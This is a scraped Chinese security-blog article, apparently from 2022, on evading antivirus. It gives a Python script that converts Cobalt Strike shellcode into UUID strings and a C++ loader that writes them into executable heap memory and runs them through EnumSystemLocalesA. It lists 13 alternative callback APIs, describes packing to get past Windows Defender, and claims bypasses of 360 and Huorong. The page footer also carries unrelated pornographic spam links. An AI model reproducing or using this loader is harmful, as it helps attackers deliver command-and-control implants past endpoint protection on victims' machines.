1. <strong id="7actg"></strong>
    2. <table id="7actg"></table>

    3. <address id="7actg"></address>
      <address id="7actg"></address>
      1. <object id="7actg"><tt id="7actg"></tt></object>

        UUID結(jié)合回調(diào)函數(shù)免殺初探

        共 2399字,需瀏覽 5分鐘

         ·

        2022-02-15 09:06


        ??閱讀須知


        烏鴉安全的技術(shù)文章僅供參考,此文所提供的信息只為網(wǎng)絡(luò)安全人員對自己所負(fù)責(zé)的網(wǎng)站、服務(wù)器等(包括但不限于)進(jìn)行檢測或維護(hù)參考,未經(jīng)授權(quán)請勿利用文章中的技術(shù)資料對任何計算機(jī)系統(tǒng)進(jìn)行入侵操作。利用此文所提供的信息而造成的直接或間接后果和損失,均由使用者本人負(fù)責(zé)。

        烏鴉安全擁有對此文章的修改、刪除和解釋權(quán)限,如轉(zhuǎn)載或傳播此文章,需保證文章的完整性,未經(jīng)允許,禁止轉(zhuǎn)載!

        本文所提供的工具僅用于學(xué)習(xí),禁止用于其他,請在24小時內(nèi)刪除工具文件!??!


        本文作者:zedxx10,本文已獲得作者授權(quán)!

        1. 前言

        話不多說 今年目標(biāo)發(fā)10篇免殺的小技巧!ok,今天給分享的是2018年就用在hvv的免殺技巧了:uuid+結(jié)合c語言的回調(diào)函數(shù)+殼免殺,寫入內(nèi)存進(jìn)行免殺。

        參考文章?

        https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method

        本文在參考文章基礎(chǔ)之上做了一些改進(jìn)。

        2. UUID是啥

        UUID: 通用唯一標(biāo)識符 ( Universally Unique Identifier ), 對于所有的UUID它可以保證在空間和時間上的唯一性.。它是通過MAC地址, 時間戳, 命名空間, 隨機(jī)數(shù), 偽隨機(jī)數(shù)來保證生成ID的唯一性, 有著固定的大小(?128 bit ).。它的唯一性和一致性特點使得可以無需注冊過程就能夠產(chǎn)生一個新的UUID。?UUID可以被用作多種用途, 既可以用來短時間內(nèi)標(biāo)記一個對象, 也可以可靠的辨別網(wǎng)絡(luò)中的持久性對象。

        總結(jié)一下就是你的mac地址 ipv4都是在內(nèi)存里面的,以二進(jìn)制的方式寫入內(nèi)存也是理所當(dāng)然的(這里可以思考一下是否可以把shellcode轉(zhuǎn)成mac地址的方式或者ipv4的格式寫入內(nèi)存)

        3. 免殺流程

        3.1 cs4.3生成x64的payload

        這里我就不截圖了,很簡單!

        3.2 將payload轉(zhuǎn)換為uuid的格式

        網(wǎng)上有很多python寫的,但是很多不加\x00補(bǔ)齊,容易導(dǎo)致后期編譯程序報錯。使用下面的代碼可以直接自動補(bǔ)齊:

        buf?=?b''''''?#shellcode
        import??uuid

        def?convertToUUID(shellcode):
        ????if?len(shellcode)%16?!=0:
        ????????print("\n[*]?length:",len(shellcode)+(16-(len(shellcode)%16)))
        ????????addNullbyte?=?b"\x00"?*?(16-(len(shellcode)%16))
        ????????shellcode?+=?addNullbyte

        ????uuids?=?[]
        ????for?i?in?range(0,len(shellcode),16):
        ????????uuidString?=?str(uuid.UUID(bytes_le=shellcode[i:i+16]))
        ????????uuids.append(uuidString.replace("'","\""))
        ????return?uuids
        u?=?convertToUUID(buf)
        print(str(u).replace("'
        ","\""))

        3.uuid寫入內(nèi)存(重點來了)

        首先講一下普通shellcode加載:首先正常情況就是寫入內(nèi)存,通常情況下是通過使用windowsapishellcode加載的。但是大部分敏感參數(shù)早就是上了殺軟的單名單,甚至包括一些執(zhí)行權(quán)限,以及前幾年繞過沙箱的sleep()函數(shù)等??梢哉f你敢用殺軟就敢殺, 所以常規(guī)的加載方式是肯定不行的!

        簡單講一下回調(diào)函數(shù)是什么:?首先使用回調(diào)函數(shù)必須要知道函數(shù)指針,這里我就不詳細(xì)解了,不懂需要去看c、c++的指針和回調(diào)函數(shù)詳解。

        回調(diào)函數(shù)的定義:?通過函數(shù)指針調(diào)用的函數(shù)就是回調(diào)函數(shù),就是你把函數(shù)的指針作為參數(shù)傳遞給另一個參數(shù)。這個指針就被用來調(diào)用所指向的函數(shù)時也就callback function。也就是說,有些庫函數(shù)要求我們程序需要先給它傳遞一個參數(shù),才能實現(xiàn)功能,大部分的庫函數(shù)是不需要傳參數(shù)。

        再打個比方:在酒店,酒店提供叫醒服務(wù),可以通過打電話或者派遣服務(wù)員又或者其它的方式,這個叫醒的行為我們可以理解為函數(shù)庫。選擇叫醒方式是我們自己定的,我們會把我們想要的方式反饋給酒店,這個反饋的行為就是回調(diào)函數(shù)!

        #include?
        #include?
        #include?
        #pragma?comment(lib,?"Rpcrt4.lib")
        //將轉(zhuǎn)換后的shellcode放入
        const?char*?uuids[]?=
        {

        "e48348fc-e8f0-00c8-0000-415141505251",
        "d2314856-4865-528b-6048-8b5218488b52",?
        "322e3231-3931-0000-0000-000000000000",?
        }
        ;
        int?main()
        {
        HANDLE?hc?=?HeapCreate(HEAP_CREATE_ENABLE_EXECUTE,?0,?0);//在進(jìn)程的虛擬地址空間中保留空間
        void*?ha?=?HeapAlloc(hc,?0,?0x100000);//申請內(nèi)存
        DWORD_PTR?hptr?=?(DWORD_PTR)ha;
        int?elems?=?sizeof(uuids)?/?sizeof(uuids[0]);

        for?(int?i?=?0;?i?????RPC_STATUS?status?=?UuidFromStringA((RPC_CSTR)uuids[i],?(UUID*)hptr);//UUID轉(zhuǎn)換為原來的shellcode寫入內(nèi)存
        ????if?(status?!=?RPC_S_OK)?{
        ????????printf("UuidFromStringA()?!=?S_OK\n");
        ????????CloseHandle(ha);
        ????????return?-1;
        ????}

        ????hptr?+=?16;
        }
        printf("[*]?Hexdump:?");
        for?(int?i?=?0;?i?16;?i++)?{
        ????printf("%02X?",?((unsigned?char*)ha)[i]);
        }

        EnumSystemLocalesA((LOCALE_ENUMPROCA)ha,?0);//枚舉操作系統(tǒng)上安裝或支持的語言環(huán)境
        CloseHandle(ha);
        return?0;
        }

        4. 回調(diào)函數(shù)進(jìn)行shellcode注入

        通過回調(diào)函數(shù)進(jìn)行shellcode注入,支持以下13種方法:

        1.?EnumTimeFormatsA
        2.??EnumWindows
        3.??EnumDesktopWindows
        4.??EnumDateFormatsA
        5.??EnumChildWindows
        6.?EnumThreadWindows
        7.??EnumSystemLocalesA
        8.??EnumSystemGeoID
        9.?EnumSystemLanguageGroupsA
        10.??EnumUILanguagesA
        11.??EnumSystemCodePagesA
        12.??EnumDesktopsW
        13.??EnumSystemCodePagesW

        也就是說上面的代碼中的EnumSystemLocalesA是可以換成列舉的13種方法的任意一種,但是要注意:不是直接替換函數(shù)需要對照函數(shù)的參數(shù)來修改,需要參考庫函數(shù)的格式。

        代碼就不多說了展示一下編譯的配置吧 如果vs的編譯有問題執(zhí)行也會有問題,這里是x64 debug 代碼生成參考:


        鼠標(biāo)右鍵點擊main.cpp選擇屬性,運行庫選擇錯誤會導(dǎo)致有些系統(tǒng)報錯dll錯誤。

        5. 免殺效果

        結(jié)論:生成的exe會被?windows defender攔截查殺(火絨和360是ok的)

        5.1 Bypass 360


        5.2 Bypass火絨


        5.3 CS上線測試


        cs正常上線

        5.4 Bypass Windows Defender

        今天必須把windows defender過了,這里采用加殼的方式進(jìn)行混淆:

        使用se的殼(加密區(qū)域全部選擇默認(rèn)的 同理會匯編的師傅可以嘗試修改一些選項)


        沒加殼之前 直接被windows defender直接查殺:


        加殼之后效果展示(火絨和360都未報毒,注意此處過windows defender僅僅只是靜態(tài),動態(tài)還是不行的,依舊被查殺)


        所以我通過修改了原有代碼,這里的我不會展示修改之后的代碼,方法很簡單就留給各位師傅自己思考了,由于不涉及過于底層的函數(shù),就當(dāng)圖個樂看看吧!這是修改代碼之后編譯+殼,有趣的是純編譯之后靜態(tài)的windows defender也過了,加殼之后動靜都是可以過的,具體代碼需要自己思考,一個很小的細(xì)節(jié)就可以成功過掉了!


        6. 總結(jié)

        360、火絨之類的,個人的觀點:屬于比較low的殺軟了!玩笑話就是有手就行,但是針對edr或者企業(yè)級殺軟,上面那些伎倆遠(yuǎn)遠(yuǎn)不夠,還需要將底層的東西學(xué)會,免殺的方式有很多!但個人建議還是不要使用工具,多敲代碼(c語言是必須要會的),多看關(guān)于api和內(nèi)核的書(深入解析windows操作系統(tǒng)第七卷), 也推薦大家學(xué)習(xí)gonim語言,之后應(yīng)該會出一個nim或者go的免殺。


        往期精彩文章




        基于filter的內(nèi)存馬
        最全thinkphp 3.x sql注入分析
        委派攻擊系列之非約束委派攻擊
        記一次對Hackmyvm-Area51靶機(jī)的滲透測試


        技術(shù)支持:白帽子社區(qū)團(tuán)隊
        —?掃碼關(guān)注我們?


        瀏覽 149
        點贊
        評論
        收藏
        分享

        手機(jī)掃一掃分享

        分享
        舉報
        評論
        圖片
        表情
        推薦
        點贊
        評論
        收藏
        分享

        手機(jī)掃一掃分享

        分享
        舉報
        1. <strong id="7actg"></strong>
        2. <table id="7actg"></table>

        3. <address id="7actg"></address>
          <address id="7actg"></address>
          1. <object id="7actg"><tt id="7actg"></tt></object>
            亚洲一级性爱 | 久久粉嫩 | 国产三级网站 | 国产一级A片久久久免费看快餐 | 国产又粗老女人又硬又爽 | 京东热男人的天堂 | 扒开双腿猛进入jk校花视频 | 美女色色网站 | 《豪妇荡乳》无删减版在线观看 | 午夜成人中文字幕 |